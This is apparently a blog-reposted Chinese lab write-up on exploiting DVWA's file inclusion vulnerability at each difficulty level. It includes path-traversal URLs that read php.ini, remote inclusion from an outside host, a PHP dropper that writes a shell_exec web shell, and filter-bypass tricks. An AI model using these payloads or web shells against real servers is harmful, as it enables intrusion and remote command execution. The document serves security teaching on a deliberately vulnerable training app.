dvwa没有file1.php,文件包含漏洞-DVWA
一、進(jìn)入DVWA測(cè)試系統(tǒng)
選擇左側(cè)File Inclusion(文件包含)菜單,內(nèi)容頁顯示為:
解決方法:進(jìn)入php.ini,將allow_url_include=Off修改為On即可。
二、實(shí)驗(yàn)步驟:
2.1 File Inclusion(Low 級(jí)別)
a) 分析文件包含漏洞測(cè)試網(wǎng)頁
可以看到,文件包含網(wǎng)頁上的內(nèi)容顯示:通過點(diǎn)擊file1.php或者file2.php或者file3.php文件,然后通過GET請(qǐng)求將選中的文件內(nèi)容包含并顯示出來,顯示效果:如點(diǎn)擊file.php的效果圖
進(jìn)一步分析:
觀察文件包含頁面的URL :http://www.dvwa.com/vulnerabilities/fi/?page=include.php,將page=include.php 修改為: page=xxx.php,然后訪問。
從上圖可以看出,由于動(dòng)態(tài)GET請(qǐng)求包含了page = xxx.php這樣一個(gè)不存在的文件,php解釋器曝出了PHP文件包含函數(shù)include的Warnning信息,并且該信息暴露了文件的絕對(duì)路徑,因此在下一步中我們將進(jìn)一步利用該漏洞
b) 構(gòu)造URL暴露重要信息
i)獲取php.ini的信息
輸入:http://www.dvwa.com/vulnerabilities/fi/?page=..\..\php.ini
效果圖如下:
可以看到成功讀取了php.ini的重要配置信息,當(dāng)然你也可以試一試讀取其他的文件信息,如請(qǐng)讀取系統(tǒng)下robots.txt的內(nèi)容信息,從這個(gè)漏洞上可以看出能夠?qū)е轮匾拿舾行畔⑿孤?。?qǐng)嘗試探索其他重要的配置信息。
Robots.txt信息:
注意:a)步驟中曝出的路徑為:D:\PHP\wamp64\www\website\web\DVWA\vulnerabilities\fi\index.php on line?36
因此可以判斷:php.ini配置文件在wwww\website\web\DVWA目錄下,而我們知道Web網(wǎng)站一般部署到Apache 服務(wù)器的WWW 目錄下,因此可以通過從WWW文件夾開始算起:用..\來做跳轉(zhuǎn),所以構(gòu)造的路徑為:..\..\php.ini,可以認(rèn)為第一個(gè)..\ 表示DVWA \,第二個(gè)..\表示fi\
ii)訪問遠(yuǎn)程文件
php.ini設(shè)置:服務(wù)器如在php.ini中將allow_url_fopen與allow_url_include,設(shè)置為on 狀態(tài)即可以使用遠(yuǎn)程文件,可以是ftp上的文件,也可是網(wǎng)路上其他能訪問到的文件。
php.ini設(shè)置方法: W 標(biāo)識(shí) ——> PHP ——>php.ini 通過搜索 allow_url_include變量然后修改其狀態(tài),重啟W服務(wù)器即可。
a)遠(yuǎn)程包含打印php版本信息的文件
將提前準(zhǔn)備好的程序:
<?php ? phpinfo();?> 保存在1.tt文件中,并將該文件放到dvwa文件夾下,并測(cè)試http://www.dvwa.com/1.tt能夠正常讀取源代碼。(請(qǐng)截圖顯示)
然后在DVWA系統(tǒng)上,URL輸入為:http://www.dvwa.com/vulnerabilities/fi/?page=http://www.dvwa.com/1.tt,看看效果。
b)遠(yuǎn)程寫入木馬文件
將提前準(zhǔn)備好的一句話木馬放到WAMP的www文件夾下,檢查下是否能夠通過URL訪問到,http://www.dvwa.com/muma1.php?cmd=dir
然后將File Inclusion上的URL重新構(gòu)造:
http://www.dvwa.com/vulnerabilities/fi/?page=http://www.dvwa.com/muma1.php?cmd=dir
這個(gè)測(cè)試相當(dāng)于是將已經(jīng)上傳到該主機(jī)服務(wù)器上的muma1.php文件和該文件包含漏洞相結(jié)合進(jìn)行的漏洞利用。
思考題:
(1)試想下假如沒有木馬文件在該服務(wù)器下,如何取控制呢?能否包含php程序,而這個(gè)程序正好執(zhí)行的時(shí)候?yàn)閷懭胍痪湓捘抉R到服務(wù)器上?
答:遠(yuǎn)程包含php文件
(2)請(qǐng)嘗試遠(yuǎn)程包含讀取當(dāng)前服務(wù)器版本信息的文件,并執(zhí)行看效果?
emm,這是我拖了2個(gè)文件在老師的服務(wù)器上,自己做實(shí)驗(yàn)可以拖到虛擬機(jī)上。
c)通過文件包含向服務(wù)器寫入一句話木馬文件
提前準(zhǔn)備好遠(yuǎn)程的寫一句話木馬程序:
$file1 = fopen("shell.php","w");
fputs($file1,'<?php echo shell_exec($_GET["cmd"]);?>');
?>
文件保存為echo.tt,先保證該文件能夠正常執(zhí)行,上述代碼的意思是,在當(dāng)前Web應(yīng)用的路徑下創(chuàng)建文件名為shell.php的文件,文件內(nèi)容為寫入:
現(xiàn)在構(gòu)造File Inclusion的URL,輸入:
http://www.dvwa.com/vulnerabilities/fi/?page=http://100.0.101.61/echo.tt,看看效果
注意:文件后綴一定要是tt,這樣才能不在遠(yuǎn)程機(jī)執(zhí)行而且可以在受害機(jī)執(zhí)行。
2.2 File Inclusion(Medium 級(jí)別)
a)測(cè)試是否具有文件包含漏洞
URL輸入:http://www.dvwa.com/vulnerabilities/fi/?page=xxx.php,請(qǐng)描述看到的情況并截圖
b)構(gòu)造URL利用漏洞
i)獲取php.ini信息
URL輸入:http://www.dvwa.com/vulnerabilities/fi/?page=..\..\php.ini看看效果。
其實(shí)這里我們?yōu)槭裁闯晒?#xff0c;是因?yàn)樵创a沒判斷這個(gè)"\"!
ii)遠(yuǎn)程包含
http://www.dvwa.com/vulnerabilities/fi/?page=http://100.0.101.61/1.tt,看看效果
iii)看看源代碼(代碼審查下)
文件位置:安裝目錄\vulnerabilities\fi\source\medium.php
通過實(shí)驗(yàn)以及源代碼可以看到地址欄上直接輸入../ 和 http 均會(huì)直接被replace為空,使得路徑出錯(cuò),致使無法達(dá)到繞過。那么如何構(gòu)造URL繞過replace方法呢?
提示:是否可以使用絕對(duì)路徑:如包含的本地文件為:D:\wamp\www\DVWA-master\DVWA-master\php.ini;是否可以將包含的遠(yuǎn)程連接修改為:hthttp://tp://127.0.0.1/…
絕對(duì)路徑:
遠(yuǎn)程路徑:
2.3 File Inclusion(High 級(jí)別)
a)測(cè)試是否具有文件包含漏洞
URL輸入:http://www.dvwa.com/vulnerabilities/fi/?page=xxx.php,請(qǐng)描述看到的情況并截圖
從上圖結(jié)果可以看出,在高級(jí)別上是做了文件過濾的,那么我們看看源代碼:
文件位置:安裝路徑\vulnerabilities\fi\source\high.php
從代碼的判斷語句可以看到,包含的文件如果開頭不匹配file 和include.php 則會(huì)提示file not found。
現(xiàn)在好辦了,構(gòu)造URL :http://www.dvwa.com/vulnerabilities/fi/?page=file://D:/PHP/wamp64/www/WEBSITE/web/DVWA/php.ini
有興趣的可以完成遠(yuǎn)程訪問的內(nèi)容(加油!)
2.4 File Inclusion(Impossible 級(jí)別)
查看源代碼:
可以看出,在高難度級(jí)別上做了包含文件的白名單校驗(yàn),那么針對(duì)這種情況,基本上是保障了文件包含的安全性,很難突破了。
總結(jié)
以上是生活随笔為你收集整理的dvwa没有file1.php,文件包含漏洞-DVWA的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 延时调用的时候要注意
- 下一篇: 十三年,情如初见